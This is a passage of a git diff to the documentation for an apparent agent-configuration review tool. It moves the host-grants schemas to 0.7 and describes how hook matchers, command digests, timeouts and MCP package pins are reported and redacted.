diff --git a/.well-known/agents-shipgate.json b/.well-known/agents-shipgate.json index 35f50556d..ddee15b23 100644 --- a/.well-known/agents-shipgate.json +++ b/.well-known/agents-shipgate.json @@ -309,9 +309,9 @@ "attestation_schema_version": "0.5", "registry_schema_version": "0.4", "org_evidence_bundle_schema_version": "shipgate.org_evidence_bundle/v2", - "host_grants_inventory_schema_version": "0.6", - "host_grants_baseline_schema_version": "0.6", - "host_grants_drift_schema_version": "0.6", + "host_grants_inventory_schema_version": "0.7", + "host_grants_baseline_schema_version": "0.7", + "host_grants_drift_schema_version": "0.7", "trigger_catalog_schema_version": "0.4", "capability_standard_version": "0.5", "governance_benchmark_catalog_schema_version": "0.2", @@ -525,9 +525,9 @@ "org_governance": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/org-governance-schema.v0.1.json", "org_evidence_bundle": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/org-evidence-bundle-schema.v2.json", "registry": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/registry-schema.v0.4.json", - "host_grants_inventory": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-inventory-schema.v0.6.json", - "host_grants_baseline": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-baseline-schema.v0.6.json", - "host_grants_drift": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-drift-schema.v0.6.json", + "host_grants_inventory": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-inventory-schema.v0.7.json", + "host_grants_baseline": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-baseline-schema.v0.7.json", + "host_grants_drift": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-drift-schema.v0.7.json", "scenario": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/scenario-schema.v0.1.json", "checks_catalog": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/checks.json", "determinism_boundary": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/determinism-boundary.json", diff --git a/AGENTS.md b/AGENTS.md index b8033a33c..60568221c 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -832,9 +832,9 @@ For the short, current statement of "which fields to read", see [`docs/agent-con | Verifier schema (current) | [`docs/verifier-schema.v0.21.json`](docs/verifier-schema.v0.21.json) | `0.21` | | Agent handoff schema (current) | [`docs/agent-handoff-schema.v9.json`](docs/agent-handoff-schema.v9.json) | `shipgate.agent_handoff/v9` | | Preflight schema (current) | [`docs/preflight-schema.v0.5.json`](docs/preflight-schema.v0.5.json) | `0.5` | -| Host-grants inventory schema | [`docs/host-grants-inventory-schema.v0.6.json`](docs/host-grants-inventory-schema.v0.6.json) | `0.6` | -| Host-grants baseline schema | [`docs/host-grants-baseline-schema.v0.6.json`](docs/host-grants-baseline-schema.v0.6.json) | `0.6` | -| Host-grants drift schema | [`docs/host-grants-drift-schema.v0.6.json`](docs/host-grants-drift-schema.v0.6.json) | `0.6` | +| Host-grants inventory schema | [`docs/host-grants-inventory-schema.v0.7.json`](docs/host-grants-inventory-schema.v0.7.json) | `0.7` | +| Host-grants baseline schema | [`docs/host-grants-baseline-schema.v0.7.json`](docs/host-grants-baseline-schema.v0.7.json) | `0.7` | +| Host-grants drift schema | [`docs/host-grants-drift-schema.v0.7.json`](docs/host-grants-drift-schema.v0.7.json) | `0.7` | | Capability standard | [`docs/capability-standard.md`](docs/capability-standard.md) | `0.5` | | Capability lock schema | [`docs/capability-lock-schema.v0.8.json`](docs/capability-lock-schema.v0.8.json) | `0.8` | | Capability lock diff schema | [`docs/capability-lock-diff-schema.v0.9.json`](docs/capability-lock-diff-schema.v0.9.json) | `0.9` | diff --git a/CHANGELOG.md b/CHANGELOG.md index d98d51771..d0f9358b6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,16 @@ - **The problem.** A pull request that added a Cursor plugin's `mcp.json`, removed a `beforeShellExecution` guard from `.cursor/hooks.json`, gave a dotfiles package's `claude/.claude/settings.json` `Bash(*)`, or moved a marketplace plugin's pinned `sha` printed `No static host-grant changes detected`, as a docs-only change does. Re-running a 23-PR public corpus after #812 found 11 of 23 pull requests were such coverage gaps: 0 of the 9 comparable zero-row results named the changed relevant file, and 4 of them named a file the pull request did not touch while omitting the one it did. - **What is named.** `diff`, `verify` and the manifest-free PR comment list, under `What this run established`, each path in the comparison's own changed-file set that a bounded, documented candidate rule recognises and no reader of this entry read: `mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, and an external marketplace plugin source — `plugins/demo/mcp.json (cursor): added, not read by this entry: MCP configuration in a plugin directory; no row, and loading is not established`. An external source names what it now points at, redacted, and is never fetched. The block's first line says the list includes them. Ordinary documentation, an unrelated `*.json` and an unchanged candidate name nothing. - **What it is not.** Never a row, a widening, a `check` violation or a claim that a host loads the file. Nothing is fetched or run, only plugin manifests and marketplaces are read, and at most 32 candidates are examined; the rest, and any whose rule needed a file that was not read or did not parse, are counted as not examined, on a line that names both causes. The rules are listed in `docs/host-boundary-support.md` under *Changed inputs named but not read*. - - **JSON.** A `changed_not_read` coverage item with its `candidate` rule, ranked right after the blocking limits and inside the existing cap; `read_sources_only` is `false` while one is named, and `unread_candidates` / `unread_candidates_not_examined` say whether the change set was examined. Verifier `0.20` → `0.21`, capability diff `0.3` → `0.4`, runtime contract 40 → 41; host-grants stays `0.6`, and `minimum_control_contract_version` stays `21`. A `0.20` verifier reads with the search not recorded. + - **JSON.** A `changed_not_read` coverage item with its `candidate` rule, ranked right after the blocking limits and inside the existing cap; `read_sources_only` is `false` while one is named, and `unread_candidates` / `unread_candidates_not_examined` say whether the change set was examined. Verifier `0.20` → `0.21`, capability diff `0.3` → `0.4`, runtime contract 40 → 41; host-grants does not move for it (#819, below, moves it to `0.7` in the same contract), and `minimum_control_contract_version` stays `21`. A `0.20` verifier reads with the search not recorded. - **One route moves, on `verify` and `verify --preview` alike.** A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, now publishes the host comparison (advisory, exit `0`) instead of the setup route, which said nothing about the change. `verify --preview` moves the same way: its next action is now `discover` (`audit --host`) with the comparison published, where it was `initialize` (`init --write`) with none. That includes an agent-related workspace, as it already did when the change edited a host file this entry reads. The pilot ledger's source-tree column was re-measured for contract 41. Rows, digests, baselines, `audit --host`, `check` and the benchmark replays are unchanged. +- A hook row now names what changed in the hook, and an MCP row names a change to the server's launch arguments. Before, `diff`, `verify`, the manifest-free PR comment and `check` printed `PostToolUse → PostToolUse` whether the edit was to the hook's matcher, its command or its timeout, and an MCP server whose version pin moved from `example-mcp-server@1.2.3` to `@latest` read `docs: no difference in the command name npx, env key names or header key names; the change is in a detail this output does not show, such as the command's path or arguments`: the grants carried none of it, and only `config_sha256` saw the edit. On five of 23 public pull requests measured on 2026-09-15, the hook rows showed only event names. (#819, slice 2 of #795; direction is #820, an unpinned-launch note #825) + - **The rows a reviewer reads:** `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)`, `PostToolUse: timeout 10 → 600` and `docs: package example-mcp-server@1.2.3 → example-mcp-server@latest`, in `diff`, `verify` text, the PR comment and `check` text, and in `review.changes[].change` in `diff --json` and `verifier.json`; any other launch argument edit reads `launch arguments changed (sha256:… → sha256:…)`, a digest printed as its first twelve hex digits. A timeout written as text prints quoted, so it never reads as a number or a boolean: `timeout 5 → "5"`, `timeout true → "true"`. With several handlers under one event the entry names which one (`handler 2 timeout 5 → 50`), and an added or removed handler is listed as such. The same published handlers in another order read `the published handlers in a different order; a detail this output does not show may also differ, such as …`, never that they are the same handlers. An added or removed hook names its handlers, `SessionEnd (command cleanup.sh sha256:18d2c7ec39bc)`, and an added MCP server its package. When none of the published fields differ, the entry says the change is in a detail it does not show — another hook setting such as `async`, or a redacted or shortened matcher or timeout; for an MCP server, the command's path or another setting such as `cwd` — instead of repeating the same values. The row's direction, severity, `why` and loading basis are unchanged: plugin-selected (#714) and Codex hooks read as before, and no entry claims a direction (#820), runtime loading or what a command does. + - **No command or argument text is published, on any surface.** A hook command is published as its executable's name — the last path segment of its first word, only when that is a plain token (`[A-Za-z0-9._+-]`, at most 80 characters) that no redaction rule rewrites, not a shell reserved word such as `if` and not part of a URL (a first word holding `://`), otherwise `` — and the SHA-256 of the whole command as `config_sha256`'s input holds it. An MCP server's arguments are published as at most one package specification of a strict shape (npm `name@version` or `@scope/name@version` with a version of two or three numeric parts, a `^`/`~` range on one or a common dist-tag; PyPI `name==version` with a version of two or more parts; an OCI image reference with a path and a tag or `sha256` digest) that no redaction rule rewrites and that follows no flag but a package runner's own (`-y`, `--from`, `--rm` …), and the SHA-256 of every argument with the package replaced by a marker and its position digested beside them. The matcher passes the #802 published-label redaction and is cut at 120 characters, and a matcher longer than 1,024 characters as `config_sha256`'s input holds it is ``, never redacted or cut; a timeout is the number or boolean as declared, an over-80-digit integer's cut digits, a plain-token string, or `` for anything else, a non-finite float among them. Earlier drafts published redacted command words, and each of four review cycles found a credential the redaction rules missed inside free-form shell text; publishing none of it closes the class. + - **Host-grants `0.7`:** a hook grant adds `handlers[]` — each handler's group `matcher`, its `command` `{executable, sha256}` and its `timeout` — and `omitted_handlers` (at most sixteen handlers are listed); an MCP server grant adds `package` and `args_sha256`, both `null` when no `args` is declared. A declaration outside the documented shape (a list of matcher groups whose `hooks` are objects, each `command` a string where one is declared) publishes `handlers: null`, and its row says the matcher, command and timeout are not shown because `the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings`; when only one side is outside it, the row names that side (`base` or `head`) and lists the other side's handlers. Runtime contract v41. + - **Saved baselines hold none of it:** `audit --host --save-baseline` writes each hook and MCP grant without `handlers`, `package` or `args_sha256`, in either scope, so nothing read from `~/.claude/settings.json`, `~/.cursor/mcp.json`, managed settings or a git-ignored `.claude/settings.local.json` reaches the committed baseline. A saved `0.7` baseline's grants are the ones a `0.6` baseline holds; no comparison, row or digest read them, and `inventory_sha256` is unchanged. + - **The PR comment keeps every line 1.1.0 kept:** its 6,000-character bound cuts at the first line that does not fit, so long entries could hide every row after them, the coverage block, the change count, the review question, the reproduction and the advisory. The lines 1.1.0 printed now get their room first, the coverage block included, and the entries only what is left: an entry is printed whole when the whole comment fits; otherwise every longer entry is cut to the widest length of at least 60 characters at which it does, ending in `…`; and where not even that fits, entries are printed in their shortest form, longest first: a field-level difference cut after its name (`PreToolUse: …`), an added or removed grant as its row (`(absent) → PreToolUse`). No entry in that form is longer than the one 1.1.0 printed, and a permission rule's entry is never shortened. One line after the rows, not one per entry, says entries were shortened and that `verifier.json` holds each whole. On a pull request that moves two hook scripts under 14 events, 1.1.0's comment held every row, the coverage block, the review question, the reproduction and the advisory, and so does this one, within the same 6,000 characters. `verifier.json` and the other routes keep every entry whole. A comment with no readiness report now points to `verifier.json` when it omits detail, not to a `report.md` that route does not write. + - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; a value the digest's own input redacts (after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value, a URL's path) moves no published digest, so a change confined to it is no row, as on 1.1.0; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. The digest's credential-assignment rule gained a lookahead that removes its quadratic time on a long run of name characters and matches exactly what it matched, so every `config_sha256` is unchanged. Re-running `diff --json` on the 80 vendored benchmark cases with the prepared `1.1.0` commit and this tree on 2026-09-23 gave byte-identical rows on all 80; 23 entries on 22 cases changed, and each of the 7 changed hook or MCP entries (six repositories; one is vendored in both benchmarks) that read `PreToolUse → PreToolUse` or `no difference in the command name …` now names the field that changed, such as `mcp-outline: package mcp-outline==1.10.0 → mcp-outline==1.10.1` or `PreToolUse: handler 2 timeout 30 → 120`. + - **Compatibility:** a `0.6` baseline stays comparable with no new row or reason, and `audit --host --save-baseline` may now replace it; an older one is still refused, as before. Validators pinned to the `0.6` schemas reject a `0.7` inventory, baseline or drift payload; the `0.6` files stay published. See the [migration note](STABILITY.md#hook-mcp-detail-fields-819). - A plugin directory that cannot be compared no longer hides the host changes outside it. (#808) - **The problem.** A pull request that broke `plugins/demo/.claude-plugin/plugin.json` and also dropped a `deny` rule from `.claude/settings.json` printed `Cannot compare against main: head_inventory_incomplete` and no row on `diff`, `verify` and the manifest-free PR comment, where the published `1.0.0` showed the removed denial. The plugin-reference limit #714 introduced refused the whole comparison, including files that plugin cannot reach. diff --git a/STABILITY.md b/STABILITY.md index d49c517b0..ed62a740c 100644 --- a/STABILITY.md +++ b/STABILITY.md @@ -18,6 +18,25 @@ workspace too. `minimum_control_contract_version` stays `21`. See [the migration note](#unread-changed-inputs-821). +Also in unreleased runtime contract v41: a hook row names what changed in the +hook, and an MCP row a change to the server's launch arguments (#819). +Host-grants inventory, baseline and drift schemas move to `0.7`: a hook grant +adds `handlers[]` — each handler's group `matcher`, its `command` as +`{executable, sha256}` and its `timeout` — and `omitted_handlers`, and an MCP +server grant adds `package` and `args_sha256`. No command or argument text is +published: a command is its executable's name, when that is a plain token, and +a digest of the whole command; an MCP server's arguments are one package +specification of a strict shape and a digest of the rest. A hook row reads +`PostToolUse: matcher Edit → Edit|Write|Bash` instead of `PostToolUse → +PostToolUse`, a command edit `command changed` with both digests, and a version +pin moving to `@latest` is a `package` difference. The members display what +`config_sha256` already binds, so grant equality and the inventory digests +leave them out: they move no row value, row count, verifier or capability-diff +schema, a `0.6` baseline stays comparable with no new row or reason, and +`audit --host --save-baseline` may replace it. A saved baseline holds none of +the members. `minimum_control_contract_version` stays `21`. See +[the migration note](#hook-mcp-detail-fields-819). + Also unreleased, and moving no version of its own: a Claude Code setting that disables prompts or approves project MCP servers carries one rating on every surface (#827). The `audit --host` grant, the `diff`, `verify` and `check` @@ -58,7 +77,7 @@ now always declares its worktree snapshot, so Git configuration the worktree readers refuse (#813) no longer leaves a preview current. See [the migration note](#preview-control-currency-807). -Runtime contract v40 reads the action reference each workflow step declares +Previous runtime contract v40 reads the action reference each workflow step declares (#771). Host-grants inventory, baseline and drift schemas move to `0.6`, and a workflow grant adds `step_actions[]`: the job, the step (`id`, else `name`, else `steps[N]`), the declared `uses`, and its `form` — `remote`, `docker`, or @@ -348,19 +367,59 @@ command, verdict, reader, row or control state is added. **One route moves, on `verify` and `verify --preview` alike.** `verify` without a `shipgate.yaml` returned to the setup route (`Shipgate config not found`, exit `2`) whenever neither side of the comparison held a host artifact, and that route says nothing about the change. A comparison that read no artifact but names a changed input this entry does not read, or counts one or more changed candidate inputs as not examined (`unread_candidates_not_examined` above `0`, the one place that change is mentioned), is now published instead, on the existing manifest-free host route: advisory, exit `0`, `control.state` `agent_action_required` with the `audit --host` next action that route already names. `verify --preview` runs the same comparison and moves the same way: where its next action was `initialize` (`init --write`) with `host_comparison: null`, it is now `discover` (`audit --host`) with the comparison published and the host route's headline; `control.state` stays `agent_action_required` and the exit stays `0`. That includes an agent-related workspace, such as one whose change also adds a tool: a published host comparison takes the preview route whenever one exists, exactly as it already did when the change edits a host file this entry reads, such as the root `.claude/settings.json`. A comparison that reads no artifact, names nothing and counts nothing as not examined still takes the setup route on `verify` and `initialize` on `verify --preview`, as before; so does one whose changed files could not be listed (`unread_candidates: not_examined`), which says nothing about whether a candidate changed. -**What does not change.** `comparison_status`, `incomparable_reasons`, `rows` and every row value, `review`, `unchanged_limits`, every other coverage item, the inventory digests, saved host-grants baselines and drift payloads (host-grants stays `0.6`), `audit --host`, `check`'s decision, rows and text, the control envelope's `capability_rows`, and every control state, permission and next action on a comparison that reads a host artifact. The host-config and cold-start benchmark replays reproduce their run-of-record scores. `minimum_control_contract_version` stays `21`. +**What does not change.** `comparison_status`, `incomparable_reasons`, `rows` and every row value, `review`, `unchanged_limits`, every other coverage item, the inventory digests, saved host-grants baselines and drift payloads (#821 moves no host-grants schema; #819, below, moves it to `0.7`), `audit --host`, `check`'s decision, rows and text, the control envelope's `capability_rows`, and every control state, permission and next action on a comparison that reads a host artifact. The host-config and cold-start benchmark replays reproduce their run-of-record scores. `minimum_control_contract_version` stays `21`. **Compatibility.** `coverage` and its items are closed objects, so a reader validating against the published [`docs/verifier-schema.v0.20.json`](docs/verifier-schema.v0.20.json) rejects a `0.21` artifact's new members; that schema stays frozen. The current reader reads a `0.20` artifact as `0.21` with `unread_candidates: null`, which is what that build knew, and refuses one that claims a `changed_not_read` item, a `candidate`, `read_sources_only: false` or either `unread_candidates` member. A `diff --json` consumer sees `capability_diff_schema_version: "0.4"`. A consumer switching on `coverage.items[].status` should treat an unknown status as a change it must read, not as no change. + + +## Migration Note: Unreleased — hook matcher, command and timeout, and MCP launch arguments (host-grants `0.7`, contract v41, #819) + +A hook row read `PostToolUse → PostToolUse` whether the edit was to the hook's +matcher, its command or its timeout, and an MCP server whose version pin moved +to `@latest` read as a change "in a detail this output does not show": the +grants carried none of it, and only `config_sha256` saw the edit. Host-grants +inventory, baseline and drift schemas `0.7` add members to two grant kinds. +They are always present in a `0.7` inventory grant, so their absence marks a +grant an earlier schema read or a saved baseline holds (see **Saved +baselines** below): + +```json +{"kind": "hook", "event": "PostToolUse", + "handlers": [{"matcher": "Edit|Write", + "command": {"executable": "lint.sh", + "sha256": "c5ea83f9822441b569d6c419de8b53257dd0554d9a25fe6f0ba7fc18c5d88aa7"}, + "timeout": 30}], + "omitted_handlers": 0} +{"kind": "mcp_server", "server": "docs", "package": "example-mcp-server@1.2.3", + "args_sha256": "c30e0ddbe456d21bbc6d2f1565d70e7c7648420fc8bbabc4166eb0c2ca15c877"} +``` + +- **No command or argument text is published.** Earlier drafts of this change published redacted command words and arguments, and each of four review cycles found a credential the redaction rules missed inside free-form shell text — a quoted word, a `-c` script, a separator, a here-document. Redacted shell text cannot be made safe by adding rules, so none of it is published, on any surface: not in the inventory, a baseline, a drift payload, a row, a `why`, `diff` text or JSON, `check`, `verify` or its files, or the PR comment. +- **What a hook publishes.** Each handler under the event, in file order, at most sixteen (`omitted_handlers` counts the rest): its group's `matcher`, through the #802 published-label redaction and cut at 120 characters with `…` (`null` when the group declares none, `` when it is not a string or is longer than 1,024 characters as `config_sha256`'s input holds it: that redaction takes time quadratic in some inputs, and a matcher cut before it runs could publish part of a credential); its `command`, as `executable` and `sha256` (`null` for a handler with no command string, such as a `prompt` handler); and its `timeout`. Only the listed handlers are read for this, and a group's matcher once. `executable` is the last `/` or `\` segment of the command's first whitespace-separated word, quotes around it removed, when that segment is a plain token (`[A-Za-z0-9._+-]`, at most 80 characters) that no redaction rule rewrites; otherwise it is ``, as for a leading `NAME=value` assignment, a word a blank leaves inside an open quote, a shell reserved word such as `if`, or a URL (a first word holding `://`, whose host is never named). It is a label, not a claim about what a host runs. `sha256` is the SHA-256 of the whole command as `config_sha256`'s input holds it. `timeout` is the number or boolean as declared; an integer of more than 80 digits is its digits cut with `…`, a string itself when it is a plain token, and any other value ``, a non-finite float among them, which JSON cannot spell and which read as the word a string may be. Other handler settings, such as `type` and `async`, are not published. +- **What an MCP server publishes.** `package`: the first argument that is a package specification of a strict shape — npm `name@version` or `@scope/name@version`, with a version of two or three numeric parts (optionally with `^` or `~`, a leading `v`, a prerelease or a build) or one of the dist-tags `latest`, `next`, `beta`, `alpha`, `canary`, `rc`, `stable`, `experimental`, `nightly`, `insiders`, `dev` and `preview`; PyPI `name==version`, with a version of two or more numeric parts and extras allowed; or an OCI image reference with a registry or namespace path and a tag or `sha256` digest — that neither the digest's input redaction nor the published-label redaction rewrites, that is at most 200 characters, and that follows no flag but a package runner's own (`-y`, `--yes`, `--package`, `--from`, `--spec`, `-i`, `--interactive`, `--rm`, `--init`, `-q`, `--quiet`; not `uvx --with`, whose value is an extra requirement beside the server); `null` when none is. `args_sha256`: the SHA-256 of the declared `args` as `config_sha256`'s input holds them, the package replaced by a marker and its position digested beside them, so an edit to the package alone moves only `package`, and the package and the digest together determine the arguments even when one of them is a literal marker; `args` that is not a list is digested as declared. Both are `null` when no `args` is declared. `endpoint` is unchanged, still the command's name. +- **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. When only one side is outside the shape, the row names that side and lists the other side's handlers as an added hook's are: a change that brings a declaration into the shape reads `PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head (matcher Edit; command a.sh sha256:…)`, and one that takes it out of the shape names `head` and lists `base`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. +- **Display only.** Every new member is a function of the configuration as `config_sha256`'s input holds it, so it can move only when that digest does. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before. The digests bind what the digest's input binds: rotating a positional token, a header value's words after its scheme or the value after a flag that input does not name (`--secret-key`) is still a row, which reads `command changed` or `launch arguments changed`. A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value or a URL's path, moves no digest, so a change confined to it is no row, as before. +- **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `package` or `args_sha256`, in either scope. A baseline is committed ("Commit it"), and a matcher, executable name, digest or package read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry facts about files that were never in the repository into it. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has none of the members; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. +- **The rows.** A changed hook names each differing field with its before and after: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)` (a digest printed as its first twelve hex digits), `PostToolUse: timeout 10 → 600`, a timeout written as text quoted so it never reads as a number or a boolean (`timeout 5 → "5"`, `timeout true → "true"`); with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced. The same published handlers in another order read `the published handlers in a different order; a detail this output does not show may also differ, such as another hook setting or a redacted or shortened matcher or timeout`: equal published handlers never establish equal handlers. An added or removed hook names its handlers, `SessionEnd (command cleanup.sh sha256:18d2c7ec39bc)`. A changed MCP server adds `package example-mcp-server@1.2.3 → example-mcp-server@latest` or `launch arguments changed (sha256:… → sha256:…)` beside its other published facts, and an added one names its package, `docs (command name npx; package example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, command or timeout; the change is in a detail this output does not show, such as another hook setting or a redacted or shortened matcher or timeout` (with more than sixteen handlers, `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`), and a command server `no difference in the command name npx, launch arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path or another setting`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. +- **The PR comment.** Its 6,000-character bound cuts at the first line that does not fit, so long entries could hide the rows after them, the coverage block, the change count, the review question, the reproduction and the advisory. The lines `1.1.0` printed get their room first: the coverage block is given the room the other lines leave with every entry in its shortest form (below), which is at least the room `1.1.0`'s lines left it, and the agent instruction block is chosen on those lines too, so the entries get only what is left. The first of these that fits is printed: every entry whole; every longer entry cut to the widest length of at least 60 characters at which the comment fits, ending in `…`; entries in their shortest form, longest first, down to every one that has one; and that without the line below. An entry's shortest form is, for a field-level difference, the difference cut after the name it opens with (`PreToolUse: …`, `docs: …`), and for an added or removed grant its row's own `before → after` (`(absent) → PreToolUse`); it is printed only where it is the shorter. A permission rule's entry and a joined change have none: they are never shortened. No entry in its shortest form is longer than the one `1.1.0` printed for the same row — a hook's read `PreToolUse → PreToolUse`, an MCP server's its name and at least one difference, an added hook its row — so wherever `1.1.0`'s own lines fit, every one of them is kept, entries aside. One line after the rows, not one per entry, reads ``Some entries are shortened here to fit; `verifier.json` holds each entry whole.``; it is left out only where it does not fit beside every other line. When not even the last fits, the bound cuts the rest, as it cut `1.1.0`'s, and the line naming what was cut is as long as `1.1.0`'s. `verifier.json` and every other route keep every entry whole. A comment written without a readiness report points to `verifier.json` when it omits detail (``- … more human summary detail omitted; see `verifier.json`.``), since that route writes no `report.md`. + +**Compatibility.** +- **A committed `0.6` baseline** stays comparable. Drift reads its grants without the new members and reports what contract v40 reported, with no new row, expansion signal or incomparable reason. `audit --host --save-baseline` may now replace it and reports `status: updated`, with no move-aside step. A baseline older than `0.6` is still refused with `unsupported_baseline_schema`, as the [#771 note](#workflow-step-action-references-contract-v40-771) describes. +- **Git-backed `diff`, `check` and manifest-free `verify`** read both sides with the current reader and need no migration. +- **Validators pinned to the `0.6` schemas** reject a `0.7` inventory, baseline or drift payload. The `0.6` schema files stay published. +- **Verifier `0.21`, capability diff `0.4` (both moved by #821 in the same contract), `shipgate.agent_boundary_result/v3` and `minimum_control_contract_version` `21`** do not move for it. + ## Migration Note: Unreleased — one rating per Claude Code setting (#827) This change moves no version of its own: no schema, member, check id or -`minimum_control_contract_version` moves, and host-grants stays `0.6`, as -shipped in 1.1.0. The capability diff `0.4`, verifier `0.21` and runtime -contract `41` of the unreleased tree are #821's -([migration note](#unread-changed-inputs-821)), not this change's. What moves +`minimum_control_contract_version` moves for it, and every field it changes is +one host-grants `0.6` already carried as shipped in 1.1.0. The capability diff +`0.4`, verifier `0.21` and runtime contract `41` of the unreleased tree are +#821's ([migration note](#unread-changed-inputs-821)), and host-grants `0.7` +is #819's ([migration note](#hook-mcp-detail-fields-819)), not this change's. What moves is the value of existing fields for the Claude Code settings the host inventory publishes as `permission_mode` grants. One table, `core/host_settings.py`, now rates each value, and the grant's `access` and `risk`, a row's `severity`, diff --git a/docs/INDEX.md b/docs/INDEX.md index c8a5144c5..e07c57b15 100644 --- a/docs/INDEX.md +++ b/docs/INDEX.md @@ -118,15 +118,18 @@ repository [`README.md`](../README.md) is the landing page that routes to both. - [`org-evidence-bundle-schema.v2.json`](org-evidence-bundle-schema.v2.json) — JSON Schema for `agents-shipgate org bundle`; compact CI/ledger ingestion artifact over verifier/report/attestation/org/host-grant evidence, not a release verdict - [`registry-schema.v0.4.json`](registry-schema.v0.4.json) — JSON Schema for `agents-shipgate registry query --json`, `registry summary --json`, `registry verify --json`, and `registry report --bypass --json` - [`registry-schema.v0.3.json`](registry-schema.v0.3.json) — frozen v0.3 registry reference -- [`host-grants-inventory-schema.v0.6.json`](host-grants-inventory-schema.v0.6.json) — current typed, redacted, scope-aware host inventory; records the in-tree links a read followed and each workflow step's action reference +- [`host-grants-inventory-schema.v0.7.json`](host-grants-inventory-schema.v0.7.json) — current typed, redacted, scope-aware host inventory; records the in-tree links a read followed, each workflow step's action reference, and each hook's matcher, executable name, command digest and timeout and each MCP server's package and argument digest +- [`host-grants-inventory-schema.v0.6.json`](host-grants-inventory-schema.v0.6.json) — frozen v0.6 reference - [`host-grants-inventory-schema.v0.5.json`](host-grants-inventory-schema.v0.5.json) — frozen v0.5 reference - [`host-grants-inventory-schema.v0.4.json`](host-grants-inventory-schema.v0.4.json) — frozen v0.4 reference - [`host-grants-inventory-schema.v0.2.json`](host-grants-inventory-schema.v0.2.json) — frozen prior reference; no inferred structural comparison -- [`host-grants-baseline-schema.v0.6.json`](host-grants-baseline-schema.v0.6.json) — current acknowledged host-grant baseline +- [`host-grants-baseline-schema.v0.7.json`](host-grants-baseline-schema.v0.7.json) — current acknowledged host-grant baseline +- [`host-grants-baseline-schema.v0.6.json`](host-grants-baseline-schema.v0.6.json) — frozen v0.6 reference; still compared by drift, and may be replaced by `--save-baseline` - [`host-grants-baseline-schema.v0.5.json`](host-grants-baseline-schema.v0.5.json) — frozen v0.5 reference; compared by drift only when it holds no workflow grant - [`host-grants-baseline-schema.v0.4.json`](host-grants-baseline-schema.v0.4.json) — frozen v0.4 reference; compared by drift only when it holds no workflow grant - [`host-grants-baseline-schema.v0.2.json`](host-grants-baseline-schema.v0.2.json) — frozen prior reference; no inferred structural comparison -- [`host-grants-drift-schema.v0.6.json`](host-grants-drift-schema.v0.6.json) — current comparable/incomparable host-grant drift result +- [`host-grants-drift-schema.v0.7.json`](host-grants-drift-schema.v0.7.json) — current comparable/incomparable host-grant drift result +- [`host-grants-drift-schema.v0.6.json`](host-grants-drift-schema.v0.6.json) — frozen v0.6 reference - [`host-grants-drift-schema.v0.5.json`](host-grants-drift-schema.v0.5.json) — frozen v0.5 reference - [`host-grants-drift-schema.v0.4.json`](host-grants-drift-schema.v0.4.json) — frozen v0.4 reference - [`host-grants-drift-schema.v0.2.json`](host-grants-drift-schema.v0.2.json) — frozen prior reference; no inferred structural comparison diff --git 